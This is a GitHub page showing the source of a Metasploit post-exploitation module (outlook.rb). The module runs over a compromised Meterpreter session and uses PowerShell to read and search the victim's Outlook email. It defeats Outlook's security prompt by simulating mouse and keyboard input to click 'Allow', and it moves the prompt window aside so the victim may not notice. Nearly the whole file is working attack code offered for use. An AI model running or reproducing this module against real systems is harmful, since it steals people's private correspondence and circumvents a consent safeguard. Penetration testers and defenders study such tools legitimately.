-
Notifications
You must be signed in to change notification settings - Fork 14.9k
Expand file tree
/
Copy pathoutlook.rb
More file actions
177 lines (154 loc) · 6.5 KB
/
Copy pathoutlook.rb
File metadata and controls
177 lines (154 loc) · 6.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Registry
include Msf::Post::Windows::Powershell
A_HASH = { 'en_US' => 'Allow', 'nl_NL' => 'Toestaan', 'de_DE' => 'Erteilen', 'de_AT' => 'Erteilen' }
ACF_HASH = { 'en_US' => 'Allow access for', 'nl_NL' => 'Toegang geven voor', 'de_DE' => "Zugriff gew\xc3\xa4hren f\xc3\xbcr", 'de_AT' => "Zugriff gew\xc3\xa4hren f\xc3\xbcr" }
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather Outlook Email Messages',
'Description' => %q{
This module allows reading and searching email messages from the local
Outlook installation using PowerShell. Please note that this module is
manipulating the victims keyboard/mouse. If a victim is active on the target
system, he may notice the activities of this module. Tested on Windows 8.1
x64 with Office 2013.
},
'License' => MSF_LICENSE,
'Author' => [ 'Wesley Neelen <security[at]forsec.nl>' ],
'References' => [ 'URL', 'https://forsec.nl/2014/11/reading-outlook-using-metasploit' ],
'Platform' => [ 'win' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'meterpreter' ],
'Actions' => [
[ 'LIST', { 'Description' => 'Lists all folders' } ],
[ 'SEARCH', { 'Description' => 'Searches for an email' } ]
],
'DefaultAction' => 'LIST',
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_railgun_api
stdapi_sys_config_sysinfo
stdapi_ui_get_idle_time
]
}
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
register_options(
[
OptString.new('FOLDER', [ false, 'The e-mailfolder to read (e.g. Inbox)' ]),
OptString.new('KEYWORD', [ false, 'Search e-mails by the keyword specified here' ]),
OptString.new('A_TRANSLATION', [ false, 'Fill in the translation of the word "Allow" in the targets system language, to click on the security popup.' ]),
OptString.new('ACF_TRANSLATION', [ false, 'Fill in the translation of the phrase "Allow access for" in the targets system language, to click on the security popup.' ])
]
)
register_advanced_options(
[
OptInt.new('TIMEOUT', [true, 'The maximum time (in seconds) to wait for any PowerShell scripts to complete', 120])
]
)
end
def execute_outlook_script(command)
base_script = File.read(File.join(Msf::Config.data_directory, 'post', 'powershell', 'outlook.ps1'))
psh_script = base_script << command
compressed_script = compress_script(psh_script)
cmd_out, = execute_script(compressed_script, datastore['TIMEOUT'])
while (d = cmd_out.channel.read)
print(d)
end
currentidle = session.ui.idle_time
vprint_status("System has currently been idle for #{currentidle} seconds")
end
# This function prints a listing of available mailbox folders
def list_boxes
command = 'List-Folder'
execute_outlook_script(command)
end
# This functions reads Outlook using powershell scripts
def read_emails(folder, keyword, atrans, acftrans)
framework.threads.spawn('ButtonClicker', false) do
click_button(atrans, acftrans)
end
command = "Get-Emails \"#{keyword}\" \"#{folder}\""
execute_outlook_script(command)
end
# This functions clicks on the security notification generated by Outlook.
def click_button(atrans, acftrans)
sleep(1)
hwnd = client.railgun.user32.FindWindowW(nil, 'Microsoft Outlook')
if hwnd == 0
print_error('Error while clicking on the Outlook security notification. Window could not be found')
return
end
hwnd_child_ck = client.railgun.user32.FindWindowExW(hwnd['return'], nil, 'Button', "&#{acftrans}")
client.railgun.user32.SendMessageW(hwnd_child_ck['return'], 0x00F1, 1, nil)
client.railgun.user32.MoveWindow(hwnd['return'], 150, 150, 1, 1, true)
hwnd_child = client.railgun.user32.FindWindowExW(hwnd['return'], nil, 'Button', atrans.to_s)
client.railgun.user32.SetActiveWindow(hwnd_child['return'])
client.railgun.user32.SetForegroundWindow(hwnd_child['return'])
client.railgun.user32.SetCursorPos(150, 150)
client.railgun.user32.mouse_event(0x0002, 150, 150, nil, nil)
client.railgun.user32.SendMessageW(hwnd_child['return'], 0x00F5, 0, nil)
end
def outlook_installed?
key_base = 'HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676'
installed = registry_getvaldata(key_base, 'NextAccountID')
if installed.blank? || installed == 0
return false
end
true
end
def run
folder = datastore['FOLDER']
keyword = datastore['KEYWORD'].to_s
allow = datastore['A_TRANSLATION']
allow_access_for = datastore['ACF_TRANSLATION']
lang_not_supported = true
# OS language check
sys_lang = client.sys.config.sysinfo['System Language']
A_HASH.each_key do |key|
next unless sys_lang == key
lang_not_supported = false
A_HASH[sys_lang]
ACF_HASH[sys_lang]
end
if allow && allow_access_for
atrans = allow
acftrans = allow_access_for
elsif lang_not_supported == true
fail_with(Failure::Unknown, 'System language not supported, you can specify the targets system translations in the options A_TRANSLATION (Allow) and ACF_TRANSLATION (Allow access for)')
end
# Outlook installed
fail_with(Failure::Unknown, 'Outlook is not installed') unless outlook_installed?
print_good 'Outlook is installed'
# PowerShell installed check
fail_with(Failure::Unknown, 'PowerShell is not installed') unless have_powershell?
print_good('PowerShell is installed.')
# Check whether target system is locked
locked = client.railgun.user32.GetForegroundWindow()['return']
if locked == 0
fail_with(Failure::Unknown, "Target system is locked. This post module cannot click on Outlook's security warning when the target system is locked.")
end
case action.name
when 'LIST'
print_good('Available folders in the mailbox: ')
list_boxes
when 'SEARCH'
read_emails(folder, keyword, atrans, acftrans)
else
print_error("Unknown Action: #{action.name}")
end
end
end